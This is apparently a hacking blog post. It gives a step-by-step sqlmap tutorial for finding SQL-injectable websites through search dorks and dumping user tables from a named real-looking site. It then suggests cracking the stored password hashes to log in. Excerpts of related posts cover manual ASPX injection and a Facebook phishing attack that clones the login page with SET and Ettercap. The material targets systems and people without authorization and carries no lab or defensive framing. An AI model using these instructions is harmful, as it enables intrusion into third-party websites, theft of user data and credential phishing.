Hacking Website in Linux

Hacking website in linux.

Step 1: Fire Up Kali Linux I guess you know how to do this step:D

Step 2: Start a New TerminalStart by opening a new terminal. We'll use this terminal later.

Step 3: Find a Vulnerable WebsiteGo to Google and search for: php?id=1. If you found a site that got that in their link put an ' after the 1. If it says that there's a problem with the sql syntax then the site is vulnerable.

Step 4: Using Sqlmap to Hack ItIn your terminal type:sqlmap -uhttp://www.angelvestgroup.com/info.php?id=1--dbs(http://www.angelvestgroup.com/info.php?id=1 is my vulnerable url)Now it's going to load the databases...If that's done you'll need to select a database by typing:sqlmap -uhttp://www.angelvestgroup.com/info.php?id=1-D angelvest_china --tables(angelvest_china is the database I found)Now it's going to load all the information that's in the database you've selected.Now you'll need to select a table by typing:sqlmap -uhttp://www.angelvestgroup.com/info.php?id=1-D angelvest_china -T db_user --column(db_user is the table I found)Now you need to select a column by typing:sqlmap -uhttp://www.angelvestgroup.com/info.php?id=1-D angelvest_china -T db_user -C username --dump(username is the name of the column that I found)Now it will dump the information in the column username and: you've hacked it! (On that site there is a column called passwords too so youjust need to decrypt the hashes in that column and boom! You can login.)Congrats! You've just hacked a website with sqlmap! If you liked the instructable you should take a look at my other instructables too! Stay tuned for more!



  Iam not responsible for any crime, do it on your own risk.....:)

Comments

Post a Comment

Popular posts from this blog

HACKING ASP / ASPX SITES (MANUALLY)

HACKING ASP / ASPX SITES -- (MANUALLY) -- Cyber Security Expert & Penetration Tester chetansoni@live.comASPX Injection is also similar to PHP based SQL Injection. But here, we don’t use queries that contain order by, union select etc. Instead, we will cheat the server to respond with the information we needed. It is an error based injection technique. We will get the information in the form of errors.Find Out A Vulnerable Link First, we need find out a vulnerable asp/aspx link which looks like http://www.vulnerablesite.com/index.aspx?id=10CHECKING FOR VULNERABILITY As in the PHP based injection, we will test for the vulnerability by adding a single quote at the end of the URL. http://www.vulnerablesite.com/gallery.aspx?id=10′ If it gives an error similar to the following, then our site is vulnerable to sql injection.To check the error just type apostrophe at the end of the vulnerable URL http://website.org/search.aspx?txt=EDIT’To check that whether the s...
Read more

How to Install Wpscan In Termux | Wpscan In Android

Install wpscan In Termux Install wpscan in termux, to dosto aaj hum wpscan ko termux main Install karne wale hai. To Iske liye apko sabse phale Termux app ko play store se Install kar lena hoga. Iska baad apko Metasploit-Framework ko Install karna Hai, Yadi apko nhi pata ki Metasploit ko Termux main kaise Install karte hai to apko iske liye hamara yeh post read karna hoga-  Install Metasploit In Termux Remember: wpscan is work only in arm/arm64 device. if want to check your phone architecture, hit this command    dpkg –print-architecture Installation command: Dosto jo bhi commands main yaha bata rha hu usko aap apne termux main execute karna hai. First command    apt install ruby -y Now clone    git clone https://github.com/wpscanteam/wpscan Now move into    cd wpscan Give Permissiom    chmod 777 wpscan.rb Install some    gem install bundle Now    bundle install -j5 Hit this comm...
Read more

Facebook Hacking using SET and Armitage

Hacking Facebook Account With SET And Ettercap Hello Everyone, here’s another simple tutorial for hacking facebook account using SET and Ettercap In this method whenever victim opens facebook.com the victim will automatically redirected to our fake facebook page.So it sounds little Good so why late lets start the attack Requirements: Attacker’s machine: KALI LINUX victim’s machine: Any os(win 7, 8, 8.1,10) STEPS: 1.Boot kali linux , open terminal and type setoolkit and press enter. 2. Now select 1 and hit enter 3. Now select 2 and press enter. 4. Now select credential harvester attack , i.e option-3 and press enter. 5. select option 2 again and hit enter. 6.Now we have to enter our ip address for post back method. 7. open new terminal and type ifconfig and copy your ip address. 8. Now paste that ip address in previous terminal and press enter. 9. Enter the url of facebook as https://www.faceboo k.com 10.Now login page of facebook will be cloned with...
Read more